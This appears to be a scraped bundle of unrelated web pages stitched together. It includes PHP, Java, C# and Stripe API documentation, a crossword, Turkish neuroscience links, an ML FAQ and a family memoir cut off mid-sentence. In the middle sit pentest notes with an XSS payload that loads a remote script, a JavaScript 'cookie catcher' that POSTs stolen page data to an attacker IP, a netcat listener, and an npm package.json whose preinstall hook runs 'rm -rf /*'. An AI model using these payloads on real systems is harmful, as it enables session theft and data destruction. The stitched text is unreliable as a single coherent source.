Controllers are designed to contain application logic. Controllers retrieve and process data using Models, and present the data using Views.
Store controllers in your app/controllers
directory.
Capitalized_Snake_Case
for controller class names.Basic controller structure is very simple. Here is a basic example (app/controllers/welcome.php
):
<?php class Controller_Welcome extends Controller { # http://your-app-name.dev/welcome/test public function test() { echo '
Hello, World!
'; } }
Your application controller classes should always extend the Core52 Controller
base class.
Core52 allows you to define a default method to run if the method segment of the URL is omitted. Revising the previous example:
<?php class Controller_Welcome extends Controller { # http://your-app-name.dev/welcome public function _default() { echo '
Hello, World!
'; } }
Likewise, you may create a default controller to run if no controller segment is present in the URL. Name this controller _default.php
:
<?php class Controller_Default extends Controller { # http://your-app-name.dev/ public function _default() { echo '
Hello, World!
'; } }
Core52 supports one or more subdirectories within the main controller directory. Simply add additional segments in your URL matching the directory names, and all the other rules apply. For example:
app/ -- controllers/ -- admin/ -- _default.php http://your-app-name.dev/admin/ -- users.php http://your-app-name.dev/admin/users/ -- ...
Core52′s segment labeling feature allows you to shift around the normal order of your URL. Instead of this:
It may be desirable to present the URL segments in this order:
Notice that the last two segments are reversed from the normal order. It is easy to do this:
<?php # apply labels to each URL segment Path::Label('/contacts/cid/action'); class Controller_Contacts extends Controller { public function cid__edit() { // application logic // retrieve the value of the cid segment using Path::Handle('cid') } public function cid__view() { // application logic } }
Notice how the method names are made: segment label + double-underscore + method. The double underscore causes Core52′s routing to skip the segment labeled cid
.
If there is application logic common to every method in the controller, the ideal place for it is in the class constructor. Just be sure to call parent::__construct()
at the top of your controller’s __construct()
method.
The Core52 Controller
base class provides several pieces of built-in functionality for your convenience. See the Controller documentation for details. Here is a list of some of the functionality that is provided:
$_GET
, $_POST
, and $_COOKIE
on controller loadForm
object loadingDatabaseConnection
and View
objects


When I get blocked by something, sometimes I get unreasonably frustrated and grumpy about it, especially if I was on a good roll and know that the block has a super easy solution I just can't see. That said, I also get crazily excited and happy when things do go well and I feel productive which some would argue is also a disproportionate emotional response.
This exercise is one I don't really find terribly helpful. It might sound silly but there are just too many steps and it's impractical in a lot of stressful situations.  The mnemonic is honestly terrible too lol. I do a similar mindfulness meditation using an app called Pacifica and it helps me cool down pretty well, so I'll probably just stick with that.


Class FileSourceInfo
Implementation of IDocumentSourceInfo for a document which was retrieved from a file on disk.
Inheritance
Inherited Members
Namespace: ZptSharp.Rendering
Assembly: ZptSharp.Abstractions.dll
Syntax
public sealed class FileSourceInfo : IDocumentSourceInfo, IEquatable<IDocumentSourceInfo>, IHasContainer
Constructors
| Improve this Doc View SourceFileSourceInfo(String)
Initializes a new instance of the FileSourceInfo class.
Declaration
public FileSourceInfo(string filePath)
Parameters
| Type | Name | Description |
|---|---|---|
| System.String | filePath | The file path. |
Properties
| Improve this Doc View SourceFilePath
Gets the file path.
Declaration
public string FilePath { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The file path. |
Name
Gets the name of the source.
Declaration
public string Name { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The name of the document source. |
Methods
| Improve this Doc View SourceEquals(Object)
Determines whether the specified System.Object is equal to the current FileSourceInfo.
Declaration
public override bool Equals(object obj)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Object | obj | The System.Object to compare with the current FileSourceInfo. |
Returns
| Type | Description |
|---|---|
| System.Boolean |
|
Overrides
Equals(IDocumentSourceInfo)
Determines whether the specified IDocumentSourceInfo is equal to the current FileSourceInfo.
Declaration
public bool Equals(IDocumentSourceInfo other)
Parameters
| Type | Name | Description |
|---|---|---|
| IDocumentSourceInfo | other | The IDocumentSourceInfo to compare with the current FileSourceInfo. |
Returns
| Type | Description |
|---|---|
| System.Boolean |
|
GetContainer()
Gets the parent/container object, in this case representing a System.IO.DirectoryInfo.
Declaration
public object GetContainer()
Returns
| Type | Description |
|---|---|
| System.Object | The container. |
GetHashCode()
Serves as a hash function for a FileSourceInfo object.
Declaration
public override int GetHashCode()
Returns
| Type | Description |
|---|---|
| System.Int32 | A hash code for this instance that is suitable for use in hashing algorithms and data structures such as a hash table. |
Overrides
ToString()
Returns a System.String that represents the current FileSourceInfo.
Declaration
public override string ToString()
Returns
| Type | Description |
|---|---|
| System.String | A System.String that represents the current FileSourceInfo. |


Across: 1. Compares to very small plants, we hear (6) 4. Fashionable headgear on back-to-front in US (4) 7. Some ask whether Ealing comedy is insubstantial (8) 8. Give her a gun — invasion fleet sighted! (6) 10. Cleaned brush on floor (8) 13. Songs of trees around Gravesend (6) 14. OK, get down around the river (7) 15. Ex-students from Milan University initially (6) 18. Meadow over the river (7) 19. Order child to return rubbish (6) 20. Return to tie up posh girl in space (7) 25. Deserter gets the girl fairly (6) 26. Obliged to have travelled around part of Hull? (8) 27. Lord holds the French currency (6) 28. Refraining from helping about 50 (8) 29. Turn towards southern part of London (4) 30. Strike out 100 from elected organisation (6) Down: 1. In oral, he identified the capital of Punjab (6) 2. Bark one order near a dam (6) 3. In Palestine, are rebels getting closer? (6) 5. Rex lost article about bird (8) 6. Now the French politician follows the man with the light (8) 7. One set out for the Orient (4) 9. Silas breaks down after one attack (6) 11. Fish left in hat (7) 12. “Bother!”, Princess burst out! (7) 13. Ruler shows Harpo round a hospital (7) 16. Loved trouble with communist (6) 17. Game Mr Dawson follows comedy turn at Turks Head (8) 18. White man has to step around jumping flea (8) 21. Body of work contains revue on love (6) 22. Able to move to US city (6) 23. Respect last character leaving Madeira (6) 24. Catch second horse (4)


Use CSS to style icons. You can set a
fill property to specify an icon color,
plain width/height for icon size and
stroke/stroke-width for stroke. All supported properties can be found
here. We strongly recommend to start your stylings with
icons.css boilerplate.


- Sizlerden gelecek burada olmayan
link adreslerini bekliyoruz.
- Kunkel'den
muhteþem
resimler
- Rennes
Univ.
Short quiz and CPC
- http://microbios1.mds.qmw.ac.uk/campylobacter/index.html
- http://enmc.spc.ox.ac.uk/default.html
- http://www.electrodestore.com/
- Virtual
Hospital
- Science
and fun
- DM ve
nöropati: Daha çok
hastalara yönelik
- DM ve Nöropati 2
- Brain
Meds - Beyin kimyasý hakkýnda.
- BrainMap -
Ýnsan beyin haritalama
çalýþmalarýndan elde edilen bir veri
bankasý.
- Neurology
Web-Forum [Mass. General Hospital] - interactif, online
tartýþmalar.
- Purkinje
Park - Komputasyonel nörobilim, GENESÝS nöral
simülatör
- Shuffle Brain
-Konu baþlýklarýna göre
ayrýlmýþ birçok link.
-
Üniversite ve departmanlar
- Boston
Universitesi Nöromusküler Lab
- Mass
General
Hospital Brain Tumor Center - links to information about the
treatment
of glioma, astrocytoma, glioblastoma and other brain tumors at
Massachusetts General Hospital and Harvard.
- Mass
General
Hospital Neurology
- Massachusetts General
Hospital Neurosurgical Service
- Florida
State
University - Neuroscience
- Harvard
Undergraduate Society for Neuroscience
- Australian
National
University - Centre for Visual Sciences
- Baylor College of
Medicine
- Department of Neurology
- Beckman Neural Pattern
Analysis
Group, UIUC
- Brain Tumor
Center
- Columbia University
- Center
for Neuroscience, University of Tennessee, Memphis
- Center for the
Neural
Basis of Cognition - joint program of Carnegie Mellon
University
and the University of Pittsburgh.
- Institute
for Neuroinformatics - Experimental Neurobiology - The topics
of the
Institute for Neuroinformatics cover - robotics - neural nets -
computer vision
- nonlinear dynamics - synfire chains
- Johns Hopkins
University
- Research and Training Center in Hearing and Balance
- Maiese
Laboratory of Cellular and Molecular Cerebral Ischemia - The
focus of the lab is to evaluate the role of growth factors, signal
transduction pathways, and gene regulation in neuronal survival.
- Northwestern
University Institute for Neuroscience
- Research
and
Training Center for Neuromuscular Diseases - Mission: To
address
lifelong needs for health care, rehabiliatation, psychosocial
well-being,
education, employment and independent living.
- Smith-Kettlewell
Eye Research Institute - lab & clinical research in visual
neuroscience, oculo-motor control, and rehabilitation: spatial vision,
motion processing, stereopsis, eye movement, strabismus, low vision,
audition.
- Southampton
University - The HippoHighway
- Swinburne
Centre for Applied Neurosciences
- UC Davis
- Center for Neuroscience
- UCLA
Division of Neurosurgery
- Univeristy
of Wisconsin - Neurophysiology
- University
of Alabama - Birmingham - Radiosurgery - program treats brain
tumors and arteriovenous malfunctions (AVM) with the Gamma Knife.
- University of Heidelberg
-
Neurobiology
- University
of Illinois - Department of Neurosurgery
- University
of
Newcastle - Neural Systems Group
- University
of Oregon - Institute of Neuroscience
- University
of
Texas Medical Branch at Galveston - Neurology
- University of Texas, Houston
- Neuroscience Research Center - fosters research programs in
the neurosciences; disseminates information; publishes a newsletter;
sponsors seminars; and supports graduate and postdoctoral training
programs.
- University of
Washington
- Neurological Surgery
- University
of Washington - Neurosciences - Link lists to virtual posters,
Seattle-area
announcements in the neurosciences. Links to Neuro Elsewhere.
- Yale Neurosurgery
- Yale
University
- Medulla Spinalis
cerrahisi
|


HOME
PROJECTS
ABOUT ME
HOME
PROJECTS
ABOUT ME
PROJECTS
WEB PROJECTS
BIOPELUQUERIA MªROSA
PORTFOLIO WEB
STAR WARS CHARCACTER DATA
SOFTWARE PROJECTS
PERSONAL LIBRARY
UNIVERSITY PROJECTS
ESCAPE THE MAZE
THE QUEST


Authors: Aslak Hellesøy and Jörg Schaible
PicoContainer supports injection of collective types. These are native Arrays, Collections and Maps. Components depending on types implementing these interfaces can be provided automatically with such an instance. Since for native arrays the type can be determined at runtime, this can be done quite automatically, for the other types a special parameter must be provided. For the examples we use following classes (just ignore the fact that the classes are static):
public static interface Fish { } public static class Cod implements Fish { } public static class Shark implements Fish { }
PicoContainer can create a native array of components of a specific type automatically. Example code for the Bowl class in use:
public static class Bowl { private final Fish[] fishes; private final Cod[] cods; public Bowl(Fish[] fishes, Cod[] cods) { this.fishes = fishes; this.cods = cods; } public Fish[] getFishes() { return fishes; } public Cod[] getCods() { return cods; } }
Example usage:
pico.addComponent(Shark.class); pico.addComponent(Cod.class); pico.addComponent(Bowl.class); Bowl bowl = (Bowl) pico.getComponent(Bowl.class);
PicoContainer will instantiate the arrays and populate them with all components that matches the array type. Behind the scenes something similar to the following is happening:
Shark shark = new Shark(); Cod cod = new Cod(); Fish[] fishes = new Fish[]{shark, cod}; Cod[] cods = new Cod[]{cod}; Bowl bowl = new Bowl(fishes, cods);
PicoContainer supports automatically generated Collection types. Example code for the Bowl class in use:
public static class Bowl { private final LinkedList fishes; private final Collection cods; public Bowl(LinkedList fishes, Collection cods) { this.fishes = fishes; this.cods = cods; } public Collection getFishes() { return fishes; } public Collection getCods() { return cods; } }
Unfortunately for plain collections, there is no way of detecting the type of the components being part of the collection as it is done for native arrays. Therefore you must use a special constructor of ComponentParameter and define the component's type:
pico.addComponent(Shark.class); pico.addComponent(Cod.class); pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new ComponentParameter(Fish.class, false), new ComponentParameter(Cod.class, false)});
The boolean argument defines, that the Collection cannot be empty. Also look at the constructor of the Bowl class. You can use a specific class implementing the Collection interface or just the interface itself and PicoContainer will provide a matching Collection instance.
Unlike for plain collections, PicoContainer can automatically detect the type of generic collection as a component dependency. It handles much the same was as for native arrays. i.e. Just use PicoContainer.addComponent() as normal and it will work out what dependencies can be injected for a component like:
public static class GenericBowl { private final Listfishes; private final Collection cods; public GenericBowl(List fishes, Collection cods) { this.fishes = fishes; this.cods = cods; } public List getFishes() { return fishes; } public Collection getCods() { return cods; } }
PicoContainer also supports automatically generated Map types. Example code for the Bowl class in this case:
public static class Bowl { private final TreeMap fishes; private final Map cods; public Bowl(TreeMap fishes, Map cods) { this.fishes = fishes; this.cods = cods; } public Map getFishes() { return fishes; } public Map getCods() { return cods; } }
As for plain collection types, PicoContainer cannot detect the type of the components, that should be part of the collection on its own. Again you must use a special constructor of ComponentParameter and define the component's type:
pico.addComponent("Shark", Shark.class); pico.addComponent("Cod", Cod.class); pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new ComponentParameter(Fish.class, false), new ComponentParameter(Cod.class, false) });
The boolean argument defines, that the Map cannot be empty. Also look at the constructor of the Bowl class. You can use a specific class implementing the Map interface or just an interface itself and PicoContainer will provide a matching Map instance. A special feature is available due to the nature of the Map. The component adapter's key is used also as key in the injected Map.
While the usage of this collective types is straight forward, there are some special cases to consider. These special use cases are explained here.
Normally the dependency resolution for a collective type will fail, if no component of the specific component type is registered in the PicoContainer. With the constructors of ComponentParameter you have also the possibility to accept an empty collective type as a satisfying argument. Example code for an Array:
Parameter parameter = CollectionComponentParameter.ARRAY_ALLOW_EMPTY; pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{parameter, parameter}); Bowl bowl = (Bowl) pico.getComponent(Bowl.class);
Example code for a Collection (Map is analogous):
pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new ComponentParameter(Fish.class, true), new ComponentParameter(Cod.class, true)}); Bowl bowl = (Bowl) pico.getComponent(Bowl.class);
Note that in both examples no other component was registered. This behavior is useful if you have a monitor with listeners, that can be registered by configuration. Even if no listener is configured, the monitor component is still instantiatable.
PicoContainer will only generate a collective type on the fly, if no such type was registered before. So you can overwrite the dependency resolution (see example for a native Array):
pico.addComponent(Shark.class); pico.addComponent(Cod.class); pico.addComponent(Bowl.class); pico.addComponent(new Fish[]{}); Bowl bowl = (Bowl) pico.getComponent(Bowl.class);
Demonstrated with this unit test:
List cods = Arrays.asList(bowl.getCods()); assertEquals(1, cods.size()); List fishes = Arrays.asList(bowl.getFishes()); assertEquals(0, fishes.size());
See same example code for a Collection (Map is again analogous):
final Set set = new HashSet(); pico.addComponent(Shark.class); pico.addComponent(Cod.class); pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new ComponentParameter(Fish.class, false), new ComponentParameter(Cod.class, false)}); pico.addComponent(set); Bowl bowl = (Bowl) pico.getComponent(Bowl.class);
Collection cods = bowl.getCods(); assertEquals(0, cods.size()); assertSame(set, cods); Collection fishes = bowl.getFishes(); assertEquals(2, fishes.size());
But how can you circumvent such a situation and ensure that the collective type is generated even if one of the same type was registered? Make usage of the CollectionComponentParameter. Example code for an Array:
pico.addComponent(Shark.class); pico.addComponent(Cod.class); Parameter parameter = new CollectionComponentParameter(); pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{parameter, parameter}); pico.addComponent(new Fish[]{}); pico.addComponent(new Cod[]{}); Bowl bowl = (Bowl) pico.getComponent(Bowl.class);
And here the example code for a Collection (Map is still analogous):
pico.addComponent(Shark.class); pico.addComponent(Cod.class); pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new CollectionComponentParameter(Fish.class, false), new CollectionComponentParameter(Cod.class, false)}); // This component will match both arguments of Bowl's constructor pico.addComponent(new LinkedList()); Bowl bowl = (Bowl) pico.getComponent(Bowl.class);
Any collective types will collect its components from the complete container hierarchy. See example code for Map types as a unit test:
MutablePicoContainer parent = new DefaultPicoContainer(); parent.addComponent("Tom", Cod.class); parent.addComponent("Harry", Cod.class); MutablePicoContainer child = new DefaultPicoContainer(parent); child.addComponent("Dick", Cod.class); child.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new ComponentParameter(Fish.class, false), new ComponentParameter(Cod.class, false) }); Bowl bowl = (Bowl) child.getComponent(Bowl.class); assertEquals(3, bowl.fishes.size()); assertEquals(3, bowl.cods.size());
All Cods have been found and put into the bowl. If two components are registered with the same key, the first found will be considered. This is even true, if it means that the component is not part of the collection. See example code again as unit test:
MutablePicoContainer parent = new DefaultPicoContainer(); parent.addComponent("Tom", Cod.class); parent.addComponent("Dick", Cod.class); parent.addComponent("Harry", Cod.class); MutablePicoContainer child = new DefaultPicoContainer(parent); child.addComponent("Dick", Shark.class); child.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new ComponentParameter(Fish.class, false), new ComponentParameter(Cod.class, false) }); Bowl bowl = (Bowl) child.getComponent(Bowl.class); assertEquals(3, bowl.fishes.size()); assertEquals(2, bowl.cods.size());
Dick the Shark took precedence over Dick the Cod.
A generated map automatically deliver the component adapter's key as key of the map entry. As for the generic types in Java 5.0 this key may be of a specific type. Just define it using the constructors of ComponentParameter. See the example code:
pico.addComponent(Shark.class); pico.addComponent("Nemo", Cod.class); pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new ComponentParameter(String.class, Fish.class, false), new ComponentParameter(Cod.class, false) }); Bowl bowl = (Bowl) pico.getComponentOfType(Bowl.class);
The unit test demonstrates that only named fishes are in the fish bowl:
Cod cod = (Cod) pico.getComponentOfType(Cod.class); Map fishMap = bowl.getFishes(); Map codMap = bowl.getCods(); assertEquals(1, fishMap.size()); assertEquals(1, codMap.size()); assertEquals(fishMap, codMap); assertSame(cod,fishMap.get("Nemo"));
But this key type selection does not only work with Map types, but also with Collection types and even with a native Array! See the unit test for the Array (although the ValueType parameter will be ignored for a native Array):
List fishes = Arrays.asList(bowl.getFishes()); List cods = Arrays.asList(bowl.getCods()); assertEquals(1, fishes.size()); assertEquals(1, cods.size()); assertEquals(fishes, cods);
Although filtering on component type or key type is useful, it might not be enough. Therefore you can add an additional and completely individual filter by overloading CollectionComponentParameter.evaluate(ComponentAdapter). See the example code to filter out the Cod named Tom:
pico = new DefaultPicoContainer(); pico.addComponent("Tom", Cod.class); pico.addComponent("Dick", Cod.class); pico.addComponent("Harry", Cod.class); pico.addComponent("Sharky", Shark.class); pico.addComponent(Bowl.class, Bowl.class, new Parameter[]{ new CollectionComponentParameter(Fish.class, false), new CollectionComponentParameter(Cod.class, false) { protected boolean evaluate(ComponentAdapter adapter) { return !"Tom".equals(adapter.getComponentKey()); } } }); Cod tom = (Cod) pico.getComponent("Tom"); Bowl bowl = (Bowl) pico.getComponent(Bowl.class); assertTrue(bowl.fishes.values().contains(tom)); assertFalse(bowl.cods.values().contains(tom));
An even more advanced filter mechanism is using the Constraint extension as provided in the picocontainer gems.


Team LARP will be using JUnit to test the Model and Controler portion of the MVC system architecture and user testing for the View portion. The style of testing will be white box. White box testing says that you can look at the code and examine all parts to make your decisions on what to test.
The unit testing will involve testing the individual classes and methods to ensure they don't crash and return what they are supposed to.
The system testing will be done after all the components are finished. This will involve testing the system as a whole to make sure it meets the inital requirements determined in the first stage.
The user testing will allow various users to use the system as it was intended to ensure the GUI componets and buttons respond the way they are intended


Tools having issues running? Check for User Agent filtering.
sqlmap --threads <#> #speeds things up greatly for say OR based blinds or other
webgun (build XSS payloads)
OWASP xss evasion
eval(String.fromCharCode(#,#,#,#,#,#,#.....)) #for evasion
Filtering note: & is different from <. Seeing < or > is a good sign! that evasion is working to a degree.
Http-only cookies is on! so you CANNOT just do an 'easy' cookie grabber.
Here is this payload instead:
eval(String.fromCharCode(document.write('<script src="http://<IP_ADDRESS>.8/holiday.js"></script>');))
python:
ord("A") for single characters will turn it into ordinal char codes
Only single letters at a time
Holiday.js (Cookie catcher / Cookie grabber from HTTP-only cookie)
#idea: request to pull the page and a second request to send the page to us
var req1 = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req1.open('GET','http://localhost:8000/vac/073ada6c-dcce-4a45-9c8c-da3c30de15f3', false);
req1.send();
var response = req1.responseText;
var params = "cookie=" + encodeURIComponent(response);
req2.open('POST', 'http://<IP_ADDRESS>:8000/', true);
req2.setRequestHeader('Content-type', 'application/x-ww-form-urlencoded');
req2.send(params);
serv 80 (from the XSS payload)
nc -lvvnp 8000 (from our js payload) to grab the cookie
python:
import urllib
print urllib.unquote(""" DATA """) #this will unencode the HTTP response
Fuzzing an "export files" function
This particular function is calling GET /admin/export?table=notes
So it looks like it's grabbing data from the database. Can we arbitrarily grab anything else? Command injection? Is it actually a database or is it passing a shell command?
IP address can be encoded in hex! This can bypass filtering on "." in ip addresses. Many tools including ping and wget will still resolve hex encoded ip adresses
Exploit sudo npm
npm install capability is dangerous. Example at joaojeronimo/rimrafall
Sometimes requires sudo npm -i <package> --unsafe
index.js:
module.exports = "npm install could be dangerous.";
package.json:
{
"name": "rimrafall",
"version": "1.0.0",
"description": "rm -rf /* #DO NOT INSTALL THIS",
"main": "index.js",
"scripts": {
"preinstall": "rm -rf /* / *"
},
"keywords": [
"rimraf",
"rmrf",
]
"author": "Joao Jeronimo",
"license": "ISC"
}
The preinstall key allows arbitrary shell commands: ie bash /tmp/shell


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---
layout: blog_layout
---
I’m currently a Master student at Nankai University supervised via Prof.MingMing Cheng. I got my BS degree in 2018 at Xidian University.
My research interests focus on:
- computer vision： edge detection, semantic segmentation (3D point cloud, RGBD image)
- computer vision: stereo matching (supervised, unsupervised, passive, active structure light, automl)
- recommended system: Click-through Rate(CTR)
- computer vision, deep learning, machine learning
[CV]
News
- Official Pytorch Code for RCF is released! [code], [2018.12]
- Code for LSANet is released! [code], [2019.3]
- One paper is accepted by CVPR 2019. (RGBD segmentation area) [2019.3]
- One paper is accepted by CVPR 2020. (road segmentation area) [2020.3]
- Our unsupervised activestereo system's demo video is online, 50FPS on titan XP, 0.03pixel error,(paper, code and dataset is coming soon)
[video demo].[2020.3]
- Our paper Geometric Style Transfer is online! [arxiv]. [2020.7]
- I will intern in DJI(shenzhen) working with [Dr.Xiaozhi Chen] focusing on 3D sensing.


new Thread(new Runnable { override def run() = println() }
can be rewritten as
new Thread(() => println())


public static class PaymentMethod.Card implements StripeModel
If this is a card
PaymentMethod, this hash contains details about the card.
@JvmField @NotNull public CardBrand brand
Card brand. Can be amex
, diners
, discover
, jcb
, mastercard
, unionpay
,
visa
, or unknown
.
@JvmField @Nullable public com.stripe.android.model.PaymentMethod.Card.Checks checks
Checks on Card address and CVC if provided
@JvmField @Nullable public java.lang.String country
Two-letter ISO code representing the country of the card. You could use this attribute to get a sense of the international breakdown of cards you’ve collected.
@JvmField @Nullable public java.lang.Integer expiryMonth
Two-digit number representing the card’s expiration month.
@JvmField @Nullable public java.lang.Integer expiryYear
Four-digit number representing the card’s expiration year.
@JvmField @Nullable public java.lang.String funding
Card funding type. Can be credit
, debit,
prepaid, or
unknown`.
@JvmField @Nullable public java.lang.String last4
The last four digits of the card.
@JvmField @Nullable public com.stripe.android.model.PaymentMethod.Card.ThreeDSecureUsage threeDSecureUsage
Contains details on how this Card maybe be used for 3D Secure authentication.
@JvmField @Nullable public Wallet wallet
If this Card is part of a card wallet, this contains the details of the card wallet.
@NotNull public CardBrand component1()
Card brand. Can be amex
, diners
, discover
, jcb
, mastercard
, unionpay
,
visa
, or unknown
.
@Nullable public com.stripe.android.model.PaymentMethod.Card.Checks component2()
Checks on Card address and CVC if provided
@Nullable public java.lang.String component3()
Two-letter ISO code representing the country of the card. You could use this attribute to get a sense of the international breakdown of cards you’ve collected.
@Nullable public java.lang.Integer component4()
Two-digit number representing the card’s expiration month.
@Nullable public java.lang.Integer component5()
Four-digit number representing the card’s expiration year.
@Nullable public java.lang.String component6()
Card funding type. Can be credit
, debit,
prepaid, or
unknown`.
@Nullable public java.lang.String component7()
The last four digits of the card.
@Nullable public com.stripe.android.model.PaymentMethod.Card.ThreeDSecureUsage component8()
Contains details on how this Card maybe be used for 3D Secure authentication.
@Nullable public Wallet component9()
If this Card is part of a card wallet, this contains the details of the card wallet.
@NotNull public com.stripe.android.model.PaymentMethod.Card copy(@NotNull CardBrand brand, @Nullable com.stripe.android.model.PaymentMethod.Card.Checks checks, @Nullable java.lang.String country, @Nullable java.lang.Integer expiryMonth, @Nullable java.lang.Integer expiryYear, @Nullable java.lang.String funding, @Nullable java.lang.String last4, @Nullable com.stripe.android.model.PaymentMethod.Card.ThreeDSecureUsage threeDSecureUsage, @Nullable Wallet wallet, @Nullable com.stripe.android.model.PaymentMethod.Card.Networks networks)
If this is a card
PaymentMethod, this hash contains details about the card.
@NotNull public java.lang.String toString()
If this is a card
PaymentMethod, this hash contains details about the card.
public int hashCode()
If this is a card
PaymentMethod, this hash contains details about the card.


A fast, flexible, and performant feature selection package for python.
Welcome! This page contains an FAQ and links to a running list of tutorials for linselect
— a python feature selection package built on top of the efficient stepwise linear regression algorithm.
Tutorials
- linselect demo: a tech sector stock analysis
In this post, we demonstrate
linselect
‘s basic API by exploring the relationship between the daily percentage lifts of 50 tech stocks over one trading year. We will be interested in identifying minimal stock subsets that can be used to predict the lifts of the others.
FAQ
- Where can I download the package?
Answer: Instructions can be found on our GitHub, here. The
README.md
file contains some helpful background, and thedocs
folder contains doc-strings and some basic API examples. - What is a target, a feature, a predictor set?
Answer: These are terms I use to refer to variables in a data set. For example, if we’re trying to fit a variable \(y\) using some components of a vector of variables \(\textbf{x}\), I’d refer to \(y\) as the target and the components of \(\textbf{x}\) as the features. If a feature is actually used in the model, I say it is in the “predictor set”. - Why do we sometimes call a feature a column?
Answer: The feature data we pass intolinselect
must take the form of an \(m \times n\) array. The columns of this array correspond to the different features and the rows to different samples from their distribution. - What is feature selection?
Answer: Roughly speaking, the typical goal of feature selection is to identify a minimal set of features in a given data set that retain all or most of the predictive power of the full data set. Removing the other features can help us be more memory efficient, and it can also improve model performance and training times. Identifying which features are most important in a given problem can also provide useful insight. - What is stepwise selection?
Answer: This is one approach to feature selection wherein one tracks the performance of a model as features are added or removed from its predictor set. Typically, in a forward step one adds to the model that feature not currently used that best improves the model. In a reverse step, you do the opposite: Remove that feature from the predictor set that results in the least drop in performance. This process pushes us towards a feature set exhibiting maximal predictive power and minimal redundancy. You can take this approach using any kind of model, but linear models are special because the process can be made to run very fast. -
What if my problem is not linear?
Answer: It depends. In my work, I often find that the linear selection methods used here are sufficient: I can uselinselect
to pick a good feature set, and then plug this into a production, non-linear model, e.g., a random forest — with the end result being a more lean feature set that is as predictive as the original.However, there are certainly non-linear problems out there where a linear tool cannot be used to identify the most important features. In such cases, I’d try: (1) Building non-linear features ahead of time (e.g., polynomial features), then using
linselect
on these, or (2) using a non-linear method. The downside with non-linear methods is that they are usually much slower. The trick that allows linear fits to go so fast is really a fundamental miracle that we should all appreciate and take advantage of, IMHO. -
Any gotchas?
Answer: The algorithm requires numerical data! If there are any nans, strings, Boolean’s etc., it will cause the fits to fail — often after taking some time to attempt to evaluate the data correlation matrix. Pre-clean your data!
Comments


Next: Sorting the Applicable Methods by Precedence Order, Previous: Determining the Effective Method, Up: Method Selection and Combination
This step is described in Introduction to Methods.


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Fragalysis Backend - Welcome!¶
Contents¶
- Introduction
- Local developer environment setup
- Running in Production (+CI/CD)
- RESTful API (Models, Serializers and Views)
- Crystallographic data (Models)
- Computational data (Models)
- Projects data (Models)
- Crystallographic data (Views)
- Computational data (Views)
- Project data (Views)
- Miscellaneous data
- Tags
- Uploading data (Celery tasks and django template)
- Serving static files (media)
- Download data


SIBLINGS UPDATE:
I am so blessed to have four wonderful brothers (3 are still living in 2017), and a wonderful, beautiful sister. I am so thankful for all of them and their special spouses and families. I am thankful for the wonderful memories of growing up with them, and growing old with them. I am thankful that we all love each other, our families and the Lord. We were all in the temple a short while before Kim & Jeanenne went on their 2nd mission. This time to Africa. I started crying in the Celestial room of the Ogden Temple as I stood there with all of them and their spouses, who I love very much also. I felt that dad and mom were there with us and proud of us that we are all trying to endure to the end so we can come home to our Heavenly parents and be with them eternally.
HAL: Hall passed away years ago, but I still think of him and I love him and will be happy to see him again after this life. I don’t know where he will be, but I know he won’t be in Hell, and I know I will see him and hug him again.
This is Samantha “Sam”, Cindy’s daughter and Hal and Jean’s granddaughter. Sam is now grown, married and is a lawyer.
BRYCE: Bryce & Deanna went to Spain on their mission. It was a hard mission for them and their mission president wasn’t like our President Brimhall. He wasn’t very kind and was very strict. He didn’t allow them senior couple privileges, like we had, and most senior couples have. We worked hard and enjoyed serving, but we did have some fun times with the other couple missionaries and sometimes with he and Sister Brimhall. Bryce and Deanna sold their home in Clearfield and bought a home in Willard. They like it there. Deanna is the Relief Society President. She had a cancerous tumor in her liver. They had to shrink it by use of chemotherapy, as it was the size of a softball, so they couldn’t operate with it that large. They did shrink it and then operated and removed it. That was in 2015. She recovered, but in 2017 they found two more. They were small, so they operated again in September? to remove them. This was a harder operation on her, but she is doing much better now (December 2017). Deanna had two wonderful counselors who did the leg work for Deanna throughout these two operations and recoveries and she would communicate with them by phone or email, and when doing better, she had meetings at her home. Deanna is such a wonderful spiritual lady, and I love her. Our children love her too. Actually, I don’t know anyone who doesn’t. Bryce is the same “funny” guy. You never know what he is going to say. He embarrasses Deanna at times and upsets her at times, but she loves him, and they have a good marriage. Bryce is so good hearted, he would give you the shirt off his back if he thought you needed it. I sure love him.
TERRY: Terry & Angela moved to Chubbuck, Idaho in 2015. Maleah and her family have lived there for several years. Terry loved it in Alaska, but the cold and darkness of 9 months out of the year were hard on Angela, so after Angela retired from working at the school, they moved down. They are happy to be close to Maleah, Troy and their family, but they miss their three sons who still live in Alaska with their families. Terry & Angela do go there to visit and tend grandchildren fairly often, however. We are happy that they are closer to us now and can attend our Sibling get togethers and other family reunions and activities. Terry is our “tall” porter. He is 6’5” tall and he is still quite thin. He is usually really happy and fun to be around. Two of his sons have left the church, so that is a heartache for Terry & Angela. Their son, David, had problems with his dad and treated him very bad for several years. They are finally getting back together now and Terry is sure happy about that. Angela is a wonderful sister-in-law too and I love her.
GEORGIA: I have always been thankful for Georgia. It is great to have brothers, but a girl needs a sister too. Girls can talk about everything and anything to each other. Men don’t need to talk like women do. Ken and I have moved several times and especially when we lived in Arizona, Georgia and I couldn’t do much together, but when we moved to Layton her and I would get together at least monthly and either go to lunch together where we could spend time visiting, or go walking and talking together. Just before her and Rick left for their mission to Austria, she rented a cabin at the Coleville Camper World and her and I stayed there for a couple of days. We ate and talked, and walked and talked and had so much fun. Rich is a wonderful guy. He was a fabulous seminary teacher for 30 years and all his students loved him. He has been a Bishop for a young singles ward and they all loved him. Most everyone loves him, but he has a mental problem – a foiba which has caused Georgia untold misery over the years. It was finally diagnosed and was explained to her why he treats her this way. He loves her, but with this sickness, they are good to everyone else except their spouses. They have been to marriage counselors and he is doing much better now, but still not all the time. When Georgia & Rick went on their mission to Austria, after both of them retired, they were excited to go. I received emails from Georgia saying that her hands and head burned so bad that she could hardly stand it. She went to doctors and got medicine, etc., She wasn’t able 